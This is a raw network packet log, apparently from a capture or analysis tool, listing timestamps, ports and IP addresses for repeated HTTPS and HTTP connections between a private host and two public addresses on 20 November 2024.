Nov 20, 2024 08:18:14.126354933 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.126391888 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.126399040 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.126426935 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.126445055 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.127295017 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.127319098 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.127351046 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.127357006 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.127386093 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.127404928 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.128151894 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.128168106 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.128223896 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.128231049 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.128262043 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.128281116 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.129914045 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.129930973 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.130038977 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.130045891 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.130085945 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.130443096 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.130461931 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.130548000 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.130554914 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.130657911 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.212670088 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.212692976 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.212765932 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.212790012 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.212821960 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.212832928 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.213661909 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.213679075 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.213726044 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.213746071 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.213785887 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.214446068 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.214462042 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.214518070 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.214526892 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.214565992 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.216017962 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216033936 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216083050 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216088057 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.216094017 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216135025 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216151953 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.216177940 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.216181993 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216209888 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.216228008 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.216422081 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216439009 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216469049 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.216475010 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.216500044 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.216512918 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.217772961 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.218234062 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.218502998 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.218519926 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.218556881 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.218565941 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.218616962 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.218616962 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.218827963 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.219063044 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.219078064 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.219121933 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.219130993 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.219144106 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.219167948 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.301054955 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.301079035 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.301132917 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.301151037 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.301176071 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.301188946 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.302171946 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.302189112 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.302232981 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.302239895 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.302257061 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.302275896 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.302825928 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.302841902 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.302917957 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.302917957 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.302926064 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.302963972 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.303472996 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.303489923 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.303525925 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.303533077 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.303555012 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.303575039 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.304398060 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.304414034 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.304440975 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.304459095 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.304478884 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.304501057 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.305198908 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.305216074 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.305253983 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.305260897 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.305284977 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.305293083 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.306898117 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.306936026 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.306958914 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.306965113 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.306987047 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.307005882 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.307516098 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.307537079 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.307565928 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.307575941 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.307605028 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.307614088 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.389729023 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.389755964 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.389822960 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.389841080 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.389873028 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.389892101 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.390541077 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.390558004 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.390594006 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.390602112 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.390626907 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.390644073 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.391218901 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.391236067 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.391268969 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.391273975 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.391305923 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.391323090 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.391998053 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.392015934 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.392052889 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.392062902 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.392086983 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.392103910 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.392978907 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.392993927 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.393027067 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.393034935 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.393063068 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.393081903 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.393898010 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.393913984 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.393968105 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.393978119 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.394016027 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.395669937 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.395685911 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.395726919 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.395734072 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.395762920 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.395777941 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.396156073 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.396174908 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.396208048 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.396214962 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.396240950 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.396265984 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.402355909 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.478147984 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.478172064 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.478266954 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.478283882 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.478329897 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.478753090 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.478770018 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.478825092 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.478833914 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.478873968 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.479392052 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.479410887 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.479444981 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.479451895 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.479477882 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.479496956 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.480227947 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.480243921 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.480281115 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.480289936 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.480314970 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.480331898 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.481142044 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.481157064 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.481189013 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.481198072 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.481221914 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.481245041 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.482105970 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.482127905 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.482192039 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.482203007 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.482213974 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.482235909 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.484076023 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.484121084 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.484133959 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.484141111 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.484169960 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.484184027 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.484755039 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.484772921 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.484807968 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.484817028 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.484839916 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.484913111 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.566907883 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.566926003 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.567054033 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.567086935 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.567131996 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.567827940 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.567843914 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.567895889 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.567909002 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.567939997 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.568712950 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.568728924 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.568789959 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.568800926 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.568835974 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.569390059 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.569406033 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.569442987 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.569470882 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.569479942 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.569504023 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.569518089 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.569519043 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.569565058 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.570139885 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:59.791924000 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:18:59.797374010 CET	80	49739	193.122.6.168	192.168.2.4
Nov 20, 2024 08:18:59.797471046 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:18:59.797810078 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:18:59.802664995 CET	80	49739	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:00.443377018 CET	80	49739	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:00.456357002 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:00.461293936 CET	80	49739	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:00.554006100 CET	49730	80	192.168.2.4	188.114.96.3
Nov 20, 2024 08:19:00.646150112 CET	80	49739	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:00.694601059 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:00.782234907 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:00.782294035 CET	443	49740	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:00.782378912 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:00.788937092 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:00.788976908 CET	443	49740	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.256055117 CET	443	49740	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.256139040 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.269167900 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.269196033 CET	443	49740	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.269649029 CET	443	49740	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.319593906 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.363905907 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.411338091 CET	443	49740	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.692519903 CET	443	49740	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.692574024 CET	443	49740	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.692682028 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.700674057 CET	49740	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.704252958 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:01.709122896 CET	80	49739	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:01.904439926 CET	80	49739	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:01.906925917 CET	49741	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.906984091 CET	443	49741	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.907046080 CET	49741	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.907320976 CET	49741	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:01.907331944 CET	443	49741	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:01.944617033 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:02.390403032 CET	443	49741	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:02.396405935 CET	49741	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:02.396437883 CET	443	49741	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:02.546015024 CET	443	49741	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:02.546084881 CET	443	49741	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:02.546143055 CET	49741	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:02.546624899 CET	49741	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:02.550307035 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:02.551248074 CET	49742	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:02.555402040 CET	80	49739	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:02.555457115 CET	49739	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:02.556140900 CET	80	49742	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:02.556216002 CET	49742	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:02.556323051 CET	49742	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:02.561125994 CET	80	49742	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:03.202857971 CET	80	49742	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:03.204513073 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:03.204617977 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:03.204720974 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:03.204972029 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:03.205007076 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:03.257174969 CET	49742	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:03.659141064 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:03.680077076 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:03.680100918 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:03.803752899 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:03.803875923 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:03.803970098 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:03.804414034 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:03.924031019 CET	49742	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:03.929259062 CET	80	49742	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:03.929332018 CET	49742	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:03.932794094 CET	49745	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:03.937720060 CET	80	49745	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:03.937808037 CET	49745	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:03.937967062 CET	49745	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:03.942744017 CET	80	49745	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:04.584526062 CET	80	49745	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:04.586024046 CET	49752	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:04.586082935 CET	443	49752	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:04.586139917 CET	49752	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:04.586493969 CET	49752	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:04.586507082 CET	443	49752	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:04.632112026 CET	49745	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:05.070631981 CET	443	49752	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:05.074978113 CET	49752	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:05.075011015 CET	443	49752	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:05.225737095 CET	443	49752	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:05.225799084 CET	443	49752	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:05.226000071 CET	49752	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:05.226744890 CET	49752	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:05.230197906 CET	49745	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:05.231379986 CET	49758	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:05.235340118 CET	80	49745	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:05.236279011 CET	80	49758	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:05.236325979 CET	49745	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:05.236365080 CET	49758	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:05.236510038 CET	49758	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:05.241338968 CET	80	49758	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:05.871831894 CET	80	49758	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:05.873051882 CET	49764	443	192.168.2.4	188.114.97.3
